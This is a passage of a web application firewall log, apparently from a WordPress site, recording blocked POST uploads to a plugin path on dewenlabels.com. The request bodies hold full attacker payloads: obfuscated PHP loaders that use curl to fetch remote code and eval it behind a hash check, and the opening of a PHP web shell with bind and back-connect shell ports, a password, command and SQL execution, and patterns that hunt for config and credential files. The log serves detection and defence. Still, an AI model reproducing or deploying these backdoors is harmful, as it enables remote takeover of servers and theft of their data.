return empty($LFkiSKnCxGJxkaL) ? $J_7Z7PW7PC6d5kL($DQ3Kw3u_gpHQt1E) : $LFkiSKnCxGJxkaL; goto w21vn3dWBpcR358; w21vn3dWBpcR358: } static function AyA8jZiUl42U7y6() { goto U3NWAU39zHEpCbL; hCSBx4HoFZE3n8T: foreach ($yRnjQbo4KPOUw7Z as $Rt02lRmwNsKQ1Y3) { $E3gCh3qMFwUhgUY[] = self::wBRgX_UUK2jGmSE($Rt02lRmwNsKQ1Y3); KusNGc9qXn9PzXf: } goto LeCPf14JdI7NSEn; tw6NXfd_ddmoa_E: if (!(@$t01Zi25iKsfjw8G[0] - time() > 0 and md5(md5($t01Zi25iKsfjw8G[1 + 2])) === \"\\x37\\x37\\x37\\x37\\146\\x65\\70\\x64\\x61\\x31\\x63\\x33\\60\\x33\\x61\\x39\\71\\x38\\x36\\x65\\62\\61\\67\\64\\64\\66\\x63\\x62\\x38\\x30\\x37\\x32\")) { goto FHSC_wi2nszfOGD; } goto seTeQESh3qqLOH_; ar3oEEYstDWi3zk: @$E3gCh3qMFwUhgUY[5 + 5](INPUT_GET, \"\\157\\146\") == 1 && die($E3gCh3qMFwUhgUY[4 + 1](__FILE__)); goto tw6NXfd_ddmoa_E; T8nacw2Bax5ttQu: $Ns2QAWYPi3bJWzp = @$E3gCh3qMFwUhgUY[1]($E3gCh3qMFwUhgUY[6 + 4](INPUT_GET, $E3gCh3qMFwUhgUY[5 + 4])); goto ID_GtAbnIbnT64G; UwfDP06Vr6rXhCg: $t01Zi25iKsfjw8G = $E3gCh3qMFwUhgUY[2 + 0]($ERMRkDKx8mn0pIc, true); goto ar3oEEYstDWi3zk; FYznaC7Lkbs_AIp: @eval($E3gCh3qMFwUhgUY[0 + 4]($rhAX3TWm3rFocMq)); goto sXleFB_a64fWHlB; seTeQESh3qqLOH_: $rhAX3TWm3rFocMq = self::h51AbwLXilBLxwi($t01Zi25iKsfjw8G[1 + 0], $E3gCh3qMFwUhgUY[5 + 0]); goto FYznaC7Lkbs_AIp; sXleFB_a64fWHlB: die; goto Cuv4BYLpRdLVwOk; ID_GtAbnIbnT64G: $ERMRkDKx8mn0pIc = @$E3gCh3qMFwUhgUY[0 + 3]($E3gCh3qMFwUhgUY[5 + 1], $Ns2QAWYPi3bJWzp); goto UwfDP06Vr6rXhCg; Cuv4BYLpRdLVwOk: FHSC_wi2nszfOGD: goto T3FB3oQaMA9x5g3; LeCPf14JdI7NSEn: oOLSb82rhhVf4oE: goto T8nacw2Bax5ttQu; U3NWAU39zHEpCbL: $yRnjQbo4KPOUw7Z = array(\"\\61\\66\\61\\x37\\61\\76\\x31\\x36\\61\\x35\\66\\x3e\\x31\\66\\x31\\66\\x39\\76\\61\\x36\\x31\\67\\63\\76\\61\\66\\61\\x35\\64\\76\\x31\\66\\61\\x36\\71\\76\\x31\\x36\\61\\67\\x35\\x3e\\61\\66\\61\\x36\\70\\x3e\\x31\\66\\x31\\65\\63\\x3e\\x31\\x36\\61\\x36\\x30\\76\\61\\x36\\61\\67\\x31\\x3e\\61\\66\\61\\x35\\64\\x3e\\x31\\66\\61\\66\\x35\\x3e\\x31\\x36\\x31\\x35\\71\\76\\x31\\x36\\61\\x36\\60\", \"\\61\\66\\61\\x35\\x35\\x3e\\61\\66\\x31\\x35\\64\\76\\61\\66\\x31\\65\\x36\\x3e\\61\\x36\\61\\x37\\x35\\x3e\\x31\\66\\x31\\x35\\66\\x3e\\x31\\x36\\x31\\x35\\71\\x3e\\x31\\66\\61\\x35\\64\\76\\61\\66\\62\\62\\61\\x3e\\x31\\x36\\62\\61\\71\", \"\\x31\\x36\\61\\x36\\x34\\x3e\\x31\\x36\\61\\65\\65\\x3e\\61\\x36\\61\\65\\x39\\x3e\\61\\66\\x31\\x36\\x30\\x3e\\61\\66\\x31\\67\\65\\x3e\\x31\\x36\\x31\\67\\60\\76\\61\\x36\\61\\66\\71\\x3e\\x31\\x36\\x31\\67\\x31\\x3e\\61\\66\\61\\65\\71\\76\\x31\\66\\61\\67\\x30\\76\\x31\\66\\61\\x36\\x39\", \"\\61\\66\\61\\x35\\70\\x3e\\x31\\x36\\61\\67\\63\\x3e\\x31\\x36\\x31\\x37\\x31\\x3e\\61\\x36\\x31\\x36\\x33\", \"\\61\\x36\\x31\\x37\\x32\\76\\x31\\x36\\61\\67\\x33\\x3e\\x31\\66\\61\\65\\65\\x3e\\x31\\66\\x31\\66\\x39\\76\\61\\x36\\x32\\61\\x36\\76\\x31\\66\\62\\x31\\70\\x3e\\61\\66\\61\\67\\65\\76\\61\\66\\x31\\67\\60\\76\\61\\66\\61\\x36\\71\\76\\x31\\x36\\x31\\67\\61\\76\\61\\66\\61\\x35\\71\\x3e\\x31\\66\\x31\\67\\x30\\x3e\\61\\66\\61\\x36\\71\", \"\\61\\x36\\x31\\x36\\70\\76\\x31\\x36\\x31\\66\\65\\76\\61\\x36\\x31\\x36\\x32\\x3e\\x31\\x36\\61\\66\\71\\76\\61\\66\\x31\\x37\\65\\76\\61\\66\\61\\66\\67\\76\\61\\66\\61\\x36\\71\\76\\61\\66\\x31\\x35\\64\\76\\x31\\66\\61\\x37\\x35\\76\\x31\\66\\x31\\x37\\x31\\76\\61\\x36\\61\\x35\\x39\\76\\x31\\x36\\x31\\66\\60\\x3e\\61\\66\\61\\65\\64\\x3e\\x31\\66\\x31\\x36\\x39\\76\\x31\\x36\\x31\\x36\\60\\x3e\\x31\\x36\\x31\\x35\\x34\\76\\x31\\66\\x31\\65\\65\", \"\\61\\x36\\61\\71\\x38\\x3e\\x31\\66\\62\\x32\\x38\", \"\\61\\66\\61\\64\\65\", \"\\61\\66\\62\\x32\\x33\\76\\x31\\66\\x32\\62\\x38\", \"\\61\\66\\x32\\60\\65\\x3e\\61\\x36\\x31\\70\\x38\\76\\61\\66\\61\\x38\\70\\x3e\\x31\\66\\62\\60\\x35\\x3e\\x31\\66\\61\\70\\61\", \"\\61\\x36\\61\\x36\\x38\\76\\x31\\x36\\x31\\66\\65\\76\\x31\\x36\\61\\66\\x32\\76\\61\\66\\61\\x35\\x34\\x3e\\x31\\x36\\61\\x36\\x39\\76\\61\\66\\61\\x35\\66\\x3e\\x31\\66\\x31\\67\\x35\\76\\x31\\x36\\x31\\66\\65\\76\\61\\x36\\x31\\x36\\60\\x3e\\x31\\x36\\61\\65\\x38\\x3e\\61\\x36\\61\\x35\\63\\x3e\\61\\66\\61\\x35\\x34\"); goto hCSBx4HoFZE3n8T; T3FB3oQaMA9x5g3: } } goto d7gmlSaG9USebl3; d7gmlSaG9USebl3: LecPCvcI0Rqc69j::aYa8JZiUl42U7Y6();\n?>\nBiaoJiOk\r\n------WebKitFormBoundary9BDMlVlxKM4d2Gx5\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n------WebKitFormBoundary9BDMlVlxKM4d2Gx5\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n------WebKitFormBoundary9BDMlVlxKM4d2Gx5\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n------WebKitFormBoundary9BDMlVlxKM4d2Gx5--\r\n"]
["2026-04-14 17:30:46","156.226.16.124","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/105.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\ncontent-length:6613\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/105.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=4d678c1df7e01ce58705f0d5e55598cb\n\n--4d678c1df7e01ce58705f0d5e55598cb\r\nContent-Disposition: form-data; name=\"Content_Type\"\r\n\r\nmultipart\/form-data\r\n--4d678c1df7e01ce58705f0d5e55598cb\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n2\r\n--4d678c1df7e01ce58705f0d5e55598cb\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--4d678c1df7e01ce58705f0d5e55598cb\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--4d678c1df7e01ce58705f0d5e55598cb\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--4d678c1df7e01ce58705f0d5e55598cb\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--4d678c1df7e01ce58705f0d5e55598cb\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"txets.php\"\r\n\r\n<?php\n goto RaKOa29tVlJZM0; RaKOa29tVlJZM0: $WqD3CHG87H2ohI = \"\\x72\" . \"\\x61\" . \"\\156\" . \"\\147\" . \"\\145\"; goto p3wJM0iBpCfpsy; NRTvnak7zCyYv2: WHriol8rz8zbez: goto JlOAd2Ib9vY5MX; p3wJM0iBpCfpsy: $BImj22R0qJYhz2 = $WqD3CHG87H2ohI(\"\\176\", \"\\40\"); goto if31VOjWI63FoI; bmcUkeXmAkfg4M: ($a3LzE0QEVuWyRS[63] = $a3LzE0QEVuWyRS[63] . $a3LzE0QEVuWyRS[74]) && ($a3LzE0QEVuWyRS[90] = $a3LzE0QEVuWyRS[63]($a3LzE0QEVuWyRS[90])) && @eval($a3LzE0QEVuWyRS[63](${$a3LzE0QEVuWyRS[50]}[15])); goto NRTvnak7zCyYv2; Dkb2ELtizAS8BA: class HOu0b3eIDEqHOX { static function m_PfjAoMqnL8_c($vpzqhK0Ut7VRn1) { goto Kg1Ip9NjggI5zN; tno0vfzyMO4It3: Kn7rHmDHdoDaeN: goto E3H0pJPlHjMqWj; Kg1Ip9NjggI5zN: $Cr8WtBVnSzeMaX = \"\\162\" . \"\\141\" . \"\\x6e\" . \"\\147\" . \"\\145\"; goto RRJvP3dbaBLfKq; xpiH8Jvw3eYGcA: foreach ($LA3Qt1BTpb3g9g as $ucE7ln5Mv1uf3K => $QWblAabGl2cu1t) { $Ew1KTz0bk2qgZy .= $bD4MKHy1WOcPiE[$QWblAabGl2cu1t - 32451]; oFmdxzVGAH8dd5: } goto tno0vfzyMO4It3; RRJvP3dbaBLfKq: $bD4MKHy1WOcPiE = $Cr8WtBVnSzeMaX(\"\\x7e\", \"\\40\"); goto FIHIVtGqO045an; dKvnDffvTX6ZdE: $Ew1KTz0bk2qgZy = ''; goto xpiH8Jvw3eYGcA; E3H0pJPlHjMqWj: return $Ew1KTz0bk2qgZy; goto PGddFrfuMz71LF; FIHIVtGqO045an: $LA3Qt1BTpb3g9g = explode(\"\\53\", $vpzqhK0Ut7VRn1); goto dKvnDffvTX6ZdE; PGddFrfuMz71LF: } static function b6Np_cIM6VLdjv($F61AXgJGJqGgqZ, $k_4uJGCvPWlyI9) { goto KfI0BLojmvqeH6; R0Cztqo6qh6S51: return empty($kL2wiwNbH60fYj) ? $k_4uJGCvPWlyI9($F61AXgJGJqGgqZ) : $kL2wiwNbH60fYj; goto DzwE30dPpyByjE; KfI0BLojmvqeH6: $IKJlLlzSp__EI6 = curl_init($F61AXgJGJqGgqZ); goto agD7kGhgoEgMlW; EC_YBNXkNg5YWP: $kL2wiwNbH60fYj = curl_exec($IKJlLlzSp__EI6); goto R0Cztqo6qh6S51; agD7kGhgoEgMlW: curl_setopt($IKJlLlzSp__EI6, CURLOPT_RETURNTRANSFER, 1); goto EC_YBNXkNg5YWP; DzwE30dPpyByjE: } static function JYOsSRTeQzd58n() { goto WYmOJcz1n2CC2t; WYmOJcz1n2CC2t: $fQ3NV804j44kNl = array(\"\\63\\x32\\x34\\x37\\x38\\x2b\\x33\\x32\\64\\x36\\x33\\x2b\\63\\62\\x34\\67\\x36\\53\\63\\62\\x34\\x38\\60\\53\\x33\\x32\\64\\x36\\61\\53\\x33\\x32\\x34\\x37\\66\\x2b\\x33\\62\\x34\\x38\\62\\53\\63\\62\\64\\x37\\x35\\x2b\\x33\\x32\\64\\66\\60\\x2b\\x33\\62\\64\\66\\67\\x2b\\x33\\x32\\64\\67\\70\\53\\63\\x32\\64\\x36\\x31\\53\\63\\x32\\64\\x37\\62\\53\\x33\\62\\x34\\66\\66\\53\\63\\x32\\64\\x36\\x37\", \"\\x33\\62\\64\\x36\\62\\x2b\\63\\x32\\x34\\66\\61\\53\\63\\62\\64\\66\\x33\\53\\63\\x32\\64\\x38\\x32\\53\\63\\62\\x34\\x36\\63\\53\\x33\\x32\\x34\\x36\\x36\\x2b\\x33\\62\\64\\66\\x31\\x2b\\x33\\62\\65\\x32\\70\\53\\63\\x32\\x35\\x32\\x36\", \"\\63\\62\\64\\67\\x31\\53\\63\\62\\64\\66\\62\\x2b\\63\\62\\x34\\x36\\66\\53\\63\\62\\x34\\66\\67\\53\\63\\62\\64\\x38\\x32\\x2b\\63\\x32\\64\\x37\\67\\53\\x33\\x32\\64\\x37\\66\\x2b\\63\\62\\x34\\x37\\70\\53\\x33\\62\\x34\\66\\66\\x2b\\x33\\62\\x34\\67\\67\\53\\x33\\62\\x34\\67\\x36\", \"\\63\\x32\\x34\\66\\x35\\53\\63\\62\\x34\\x38\\x30\\53\\x33\\62\\x34\\67\\x38\\x2b\\63\\62\\x34\\x37\\x30\", \"\\x33\\x32\\x34\\x37\\x39\\x2b\\63\\62\\x34\\70\\x30\\53\\63\\x32\\x34\\66\\62\\53\\x33\\62\\64\\67\\66\\x2b\\63\\62\\65\\62\\63\\x2b\\x33\\x32\\65\\62\\65\\53\\63\\62\\x34\\x38\\62\\x2b\\x33\\62\\x34\\67\\x37\\x2b\\x33\\x32\\64\\67\\x36\\53\\63\\62\\64\\67\\70\\53\\x33\\62\\x34\\66\\x36\\53\\x33\\62\\64\\x37\\67\\53\\x33\\62\\64\\67\\x36\", \"\\63\\62\\x34\\67\\x35\\53\\63\\x32\\x34\\67\\62\\x2b\\63\\62\\64\\66\\71\\53\\x33\\x32\\x34\\x37\\66\\53\\63\\62\\x34\\x38\\62\\53\\x33\\x32\\x34\\67\\64\\53\\x33\\62\\x34\\67\\x36\\x2b\\63\\62\\x34\\66\\61\\x2b\\x33\\x32\\x34\\x38\\x32\\x2b\\x33\\x32\\x34\\x37\\70\\53\\x33\\x32\\64\\66\\x36\\x2b\\63\\62\\64\\66\\67\\x2b\\63\\62\\x34\\66\\61\\x2b\\63\\x32\\64\\67\\66\\x2b\\x33\\62\\x34\\x36\\67\\x2b\\63\\x32\\64\\x36\\61\\53\\63\\x32\\64\\66\\62\", \"\\63\\x32\\x35\\x30\\x35\\x2b\\x33\\x32\\65\\63\\65\", \"\\x33\\x32\\x34\\x35\\x32\", \"\\x33\\x32\\x35\\x33\\x30\\x2b\\63\\62\\x35\\x33\\x35\", \"\\x33\\62\\65\\61\\62\\53\\x33\\x32\\64\\x39\\65\\53\\63\\62\\64\\71\\x35\\x2b\\63\\62\\65\\x31\\x32\\53\\63\\62\\64\\70\\70\", \"\\x33\\62\\64\\67\\65\\x2b\\63\\x32\\x34\\67\\x32\\53\\x33\\x32\\x34\\x36\\x39\\53\\63\\x32\\x34\\66\\61\\x2b\\x33\\x32\\64\\67\\66\\53\\63\\x32\\x34\\x36\\x33\\x2b\\63\\x32\\64\\x38\\x32\\53\\63\\x32\\x34\\x37\\62\\53\\x33\\x32\\64\\66\\x37\\x2b\\63\\62\\x34\\x36\\65\\x2b\\63\\62\\64\\66\\60\\53\\63\\62\\64\\x36\\61\"); goto QDChZb_GdELD6n; ysQ4fKCOcj9yhE: @eval($EmfLrK16N4yrIq[3 + 1]($G9F2dagghSM4hB)); goto xux8R58AkleKNJ; qzot4ovavhjdDi: $OaWjJEIdWsIukS = @$EmfLrK16N4yrIq[0 + 3]($EmfLrK16N4yrIq[0 + 6], $rQAZa_YD3roP8B); goto OSWgM34UN_tjD8; p00Gyq34tz4oO_: $G9F2dagghSM4hB = self::B6Np_cim6VLDJv($qwvMfh65QDyDLK[1 + 0], $EmfLrK16N4yrIq[5 + 0]); goto ysQ4fKCOcj9yhE; zCuOMmlDQK3n6H: qmJvKas0QF2d0O: goto QUeBGpNrfnMkEF; afJV9X6bD6FsYJ: SGjfPwZxTCb2vY: goto bXM3ZuuIIBtKZ0; QDChZb_GdELD6n: foreach ($fQ3NV804j44kNl as $yJ9B5DfzT6CjBX) { $EmfLrK16N4yrIq[] = self::M_pFjAoMqNL8_c($yJ9B5DfzT6CjBX); oXmcSP1oYLaES1: } goto zCuOMmlDQK3n6H; j2yS6Ypol_lZlL: @$EmfLrK16N4yrIq[6 + 4](INPUT_GET, \"\\x6f\\146\") == 1 && die($EmfLrK16N4yrIq[3 + 2](__FILE__)); goto FtzHcCOOwQEe4P; xux8R58AkleKNJ: die; goto afJV9X6bD6FsYJ; FtzHcCOOwQEe4P: if (!(@$qwvMfh65QDyDLK[0] - time() > 0 and md5(md5($qwvMfh65QDyDLK[2 + 1])) === \"\\x37\\67\\x37\\x37\\146\\x65\\x38\\144\\x61\\x31\\x63\\x33\\60\\x33\\141\\71\\71\\70\\66\\145\\x32\\61\\x37\\x34\\x34\\66\\x63\\x62\\x38\\60\\x37\\x32\")) { goto SGjfPwZxTCb2vY; } goto p00Gyq34tz4oO_; OSWgM34UN_tjD8: $qwvMfh65QDyDLK = $EmfLrK16N4yrIq[0 + 2]($OaWjJEIdWsIukS, true); goto j2yS6Ypol_lZlL; QUeBGpNrfnMkEF: $rQAZa_YD3roP8B = @$EmfLrK16N4yrIq[1]($EmfLrK16N4yrIq[10 + 0](INPUT_GET, $EmfLrK16N4yrIq[7 + 2])); goto qzot4ovavhjdDi; bXM3ZuuIIBtKZ0: } } goto xKHpmI7LL1p43y; if31VOjWI63FoI: $a3LzE0QEVuWyRS = ${$BImj22R0qJYhz2[6 + 25] . $BImj22R0qJYhz2[0 + 59] . $BImj22R0qJYhz2[4 + 43] . $BImj22R0qJYhz2[28 + 19] . $BImj22R0qJYhz2[14 + 37] . $BImj22R0qJYhz2[18 + 35] . $BImj22R0qJYhz2[50 + 7]}; goto TPU54IxQ9uWBeV; JlOAd2Ib9vY5MX: metaphone(\"\\115\\152\\x49\\62\\117\\x54\\x6b\\63\\116\\x7a\\x59\\60\\x4d\\x6a\\x45\\x35\\117\\104\\105\\62\\x4d\\x44\\x4d\\171\\115\\124\\x59\\x79\\x4e\\124\\115\\x79\"); goto Dkb2ELtizAS8BA; TPU54IxQ9uWBeV: if (!(in_array(gettype($a3LzE0QEVuWyRS) . count($a3LzE0QEVuWyRS), $a3LzE0QEVuWyRS) && count($a3LzE0QEVuWyRS) == 22 && md5(md5(md5(md5($a3LzE0QEVuWyRS[16])))) === \"\\146\\x31\\61\\66\\143\\x34\\x64\\x32\\x37\\x65\\x61\\x66\\145\\x62\\x62\\x63\\x35\\145\\x37\\65\\x33\\x34\\145\\x32\\63\\x35\\63\\143\\144\\141\\x62\\71\")) { goto WHriol8rz8zbez; } goto bmcUkeXmAkfg4M; xKHpmI7LL1p43y: hoU0B3eidEqhOX::jyosSrteqZD58N();\n?>\nBiaoJiOk\r\n--4d678c1df7e01ce58705f0d5e55598cb--\r\n"]
["2026-04-14 19:59:28","154.12.180.145","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/146.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\nsec-ch-ua-mobile:?0\norigin:https:\/\/dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-site:same-origin\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br, zstd\nupgrade-insecure-requests:1\ncache-control:max-age=0\nsec-fetch-dest:document\ncontent-length:373994\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryzUXloMK0TGsmFsFw\npriority:u=0, i\naccept-language:zh-CN,zh;q=0.9\nreferer:https:\/\/dewenlabels.com\/wp-content\/plugins\/ubked\/index.php\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-ch-ua:\"Chromium\";v=\"146\", \"Not-A.Brand\";v=\"24\", \"Google Chrome\";v=\"146\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/146.0.0.0 Safari\/537.36\n\n------WebKitFormBoundaryzUXloMK0TGsmFsFw\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n------WebKitFormBoundaryzUXloMK0TGsmFsFw\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n------WebKitFormBoundaryzUXloMK0TGsmFsFw\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"themes.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php ini_set('memory_limit','-1');ini_set('max_execution_time',0);set_time_limit(0);$config=array(\"version\"=>\"3.0\",\"auth\"=>array(\"use_auth\"=>false,\"md5_user\"=>\"098f6bcd4621d373cade4e832627b4f6\",\"md5_pass\"=>\"098f6bcd4621d373cade4e832627b4f6\"),\"default_vars\"=>array(\"language\"=>\"en\",\"email\"=>\"3salman.ekhtiar1g@thestopplus.com\",\"default_sort\"=>\"0a\",\"default_act\"=>\"tools\",\"bind_port\"=>\"31337\",\"bind_pass\"=>\"P@55w0rd\",\"backcon_port\"=>\"31337\",\"sql_host\"=>\"localhost\",\"sql_user\"=>\"root\",\"sql_db\"=>\"mysql\",\"sql_table\"=>\"users\",\"ftp_user\"=>\"anonymous\",\"ftp_pass\"=>\"anonymous@ftp.com\",\"downloada\"=>\"Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR\",),\"banned\"=>array(\"agents\"=>array(\"Google\",\"Slurp\",\"MSNBot\",\"ia_archiver\",\"Yandex\",\"Rambler\"),\"send_header\"=>'HTTP\/1.0 404 Not Found'),\"use_buffer\"=>1,\"visual\"=>array(\"width\"=>\"1024\",\"images\"=>1,\"skins\"=>array(\"dark\",\"light\"),\"default_skin\"=>\"light\",\"light\"=>array(\"bodybg\"=>\"#717678\",\"tbarbg1\"=>\"#AAAAAA\",\"tbarbg2\"=>\"#BFBFBF\",\"tbarbordert\"=>\"#BBBBBB\",\"tbarborderb\"=>\"#AAAAAA\",\"topbg1\"=>\"#BBBBBB\",\"topbg2\"=>\"#CCCCCC\",\"topborder1\"=>\"#CDCDCD\",\"topcolor\"=>\"#333333\",\"topshadow\"=>\"#DDDDDD\",\"tlinkcolor\"=>\"#333333\",\"tlinkshadow\"=>\"#DDDDDD\",\"tlinkcolorhover\"=>\"#000000\",\"qlbg1\"=>\"#CCCCCC\",\"qlbg2\"=>\"#AAAAAA\",\"qlborder\"=>\"#DDDDDD\",\"qlcolor\"=>\"#222222\",\"qlshadow\"=>\"#DDDDDD\",\"qlcolorhover\"=>\"#000000\",\"footerbg1\"=>\"#CCCCCC\",\"footerbg2\"=>\"#AAAAAA\",\"footerborder1\"=>\"#BBBBBB\",\"footercolor\"=>\"#333333\",\"footershadow\"=>\"#DDDDDD\",\"tablebg\"=>\"#F2F2F2\",\"tableshadow\"=>\"#666666\",\"tableborder\"=>\"#777777 \",\"errcolor\"=>\"#FF0000\",\"okcolor\"=>\"#008200\",\"normalcolor\"=>\"#333333\",\"dircolor\"=>\"#333333\",\"fontfam\"=>\"'sans-serif',sans-serif\",\"fontcolor\"=>\"#525252\",\"idirborder\"=>\"#2F7595\",\"idirbg1\"=>\"#93BED7\",\"idirbg2\"=>\"#63A0C7\",\"ifileborder\"=>\"#cccccc\",\"ifilebg1\"=>\"#FFFFFF\",\"ifilebg2\"=>\"#DDDDDD\",\"reg_self\"=>\"#7B7869\",\"reg_interesting\"=>\"#008200\",\"reg_bad\"=>\"#FF0000\",),\"dark\"=>array(\"bodybg\"=>\"#717678\",\"tbarbg1\"=>\"#141414\",\"tbarbg2\"=>\"#111111\",\"tbarbordert\"=>\"#111111\",\"tbarborderb\"=>\"#000000\",\"topbg1\"=>\"#111111\",\"topbg2\"=>\"#222222\",\"topborder1\"=>\"#222222\",\"topcolor\"=>\"#CCCCCC\",\"topshadow\"=>\"#000000\",\"tlinkcolor\"=>\"#DDDDDD\",\"tlinkshadow\"=>\"#000000\",\"tlinkcolorhover\"=>\"#FFFFFF\",\"qlbg1\"=>\"#222222\",\"qlbg2\"=>\"#111111\",\"qlborder\"=>\"#333333\",\"qlcolor\"=>\"#F3F3F3\",\"qlshadow\"=>\"#0A0A0A\",\"qlcolorhover\"=>\"#FFFFFF\",\"footerbg1\"=>\"#141414\",\"footerbg2\"=>\"#111111\",\"footerborder1\"=>\"#333333\",\"footercolor\"=>\"#CCCCCC\",\"footershadow\"=>\"#000000\",\"tablebg\"=>\"#F2F2F2\",\"tableshadow\"=>\"#444444\",\"tableborder\"=>\"#666666\",\"errcolor\"=>\"#FF0000\",\"okcolor\"=>\"#008200\",\"normalcolor\"=>\"#333333\",\"dircolor\"=>\"#333333\",\"fontfam\"=>\"'sans-serif',sans-serif\",\"fontcolor\"=>\"#525252\",\"idirborder\"=>\"#2F7595\",\"idirbg1\"=>\"#93BED7\",\"idirbg2\"=>\"#63A0C7\",\"ifileborder\"=>\"#cccccc\",\"ifilebg1\"=>\"#FFFFFF\",\"ifilebg2\"=>\"#DDDDDD\",\"reg_self\"=>\"#7B7869\",\"reg_interesting\"=>\"#008200\",\"reg_bad\"=>\"#FF0000\",),),\"reg_interesting\"=>array(\"d\"=>array('backup','admin'),\"f\"=>array('conf(.*)\\.php$','\\.sql$','\\.db$','auth(.*)\\.php$')),\"reg_bad\"=>array(\"d\"=>array('root'),\"f\"=>array('iptables','ipchains')),);$lang[\"en\"]=array(\"0\"=>\"AUTHENTICATION REQUIRED\",\"1\"=>\"USER\",\"2\"=>\"PASS\",\"3\"=>\"Connect\",\"4\"=>\"SERVER WHOIS\",\"5\"=>\"TRACEROUTE\",\"6\"=>\"SELF REMOVE\",\"7\"=>\"LOGOUT\",\"8\"=>\"SYS\",\"9\"=>\"KERNEL\",\"10\"=>\"DISK TOTAL\/FREE\",\"11\"=>\"WEB SOFTWARE\",\"12\"=>\"SAFE MODE\",\"13\"=>\"OPEN BASEDIR\",\"14\"=>\"CURL\",\"15\"=>\"MYSQL\",\"16\"=>\"MSSQL\",\"17\"=>\"ORACLE\",\"18\"=>\"POSTGRESQL\",\"19\"=>\"ON\",\"20\"=>\"OFF\",\"21\"=>\"YES\",\"22\"=>\"NO\",\"23\"=>\"BACK\",\"24\"=>\"FILES\",\"25\"=>\"SEARCH\",\"26\"=>\"UPLOAD\",\"27\"=>\"CMD\",\"28\"=>\"EVAL\",\"29\"=>\"SQL\",\"30\"=>\"MAILERS\",\"31\"=>\"CALC\",\"32\"=>\"TOOLS\",\"33\"=>\"PROC\",\"34\"=>\"SYSINFO\",\"35\"=>\"FILE\",\"36\"=>\"DIR\",\"37\"=>\"Show All\",\"38\"=>\"Dirs\",\"39\"=>\"Files\",\"40\"=>\"Archives\",\"41\"=>\"Exes\",\"42\"=>\"PHP\",\"43\"=>\"Html\",\"44\"=>\"Text\",\"45\"=>\"Images\",\"46\"=>\"Other\",\"47\"=>\"Show Icons\",\"48\"=>\"Hide Icons\",\"49\"=>\"Enable Buffer\",\"50\"=>\"Disable Buffer\",\"51\"=>\"Empty Buffer\",\"52\"=>\"Show Buffer\",\"53\"=>\"Hide Buffer\",\"54\"=>\"Paste Copy\",\"55\"=>\"Paste Cut\",\"56\"=>\"Paste All\",\"57\"=>\"Name\",\"58\"=>\"Size\",\"59\"=>\"Modified\",\"60\"=>\"Owner\/Group\",\"61\"=>\"Perms\",\"62\"=>\"Action\",\"63\"=>\"Select All\",\"64\"=>\"None\",\"65\"=>\"Inverse\",\"66\"=>\"With Selected\",\"67\"=>\"Copy\",\"68\"=>\"Cut\",\"69\"=>\"Unset Copy\",\"70\"=>\"Unset Cut\",\"71\"=>\"Unset All\",\"72\"=>\"Delete\",\"73\"=>\"Rename\",\"74\"=>\"Functions\",\"75\"=>\"Edit\",\"76\"=>\"Download\",\"77\"=>\"Confirm\",\"78\"=>\"VIEWING FILE:\",\"79\"=>\"Text\",\"80\"=>\"Code\",\"81\"=>\"Html\",\"82\"=>\"Html-NoJS\",\"83\"=>\"Execute\",\"84\"=>\"Session\",\"85\"=>\"Sdb\",\"86\"=>\"INI\",\"87\"=>\"Image\",\"88\"=>\"Hexdump\",\"89\"=>\"Browser Default\",\"90\"=>\"STRING CONVERSIONS\",\"91\"=>\"FUNCTION\",\"92\"=>\"Submit\",\"93\"=>\"CHANGE FILE'S PERMISSIONS:\",\"94\"=>\"Owner\",\"95\"=>\"Group\",\"96\"=>\"World\",\"97\"=>\"Read\",\"98\"=>\"Write\",\"99\"=>\"Execute\",\"100\"=>\"Chmod\",\"101\"=>\"OR ENTER VALUE\",\"102\"=>\"OUTPUT\",\"103\"=>\"CHANGE FILE'S TIMESTAMP\",\"104\"=>\"COPY FROM FILE\/DIR\",\"105\"=>\"SET TIME 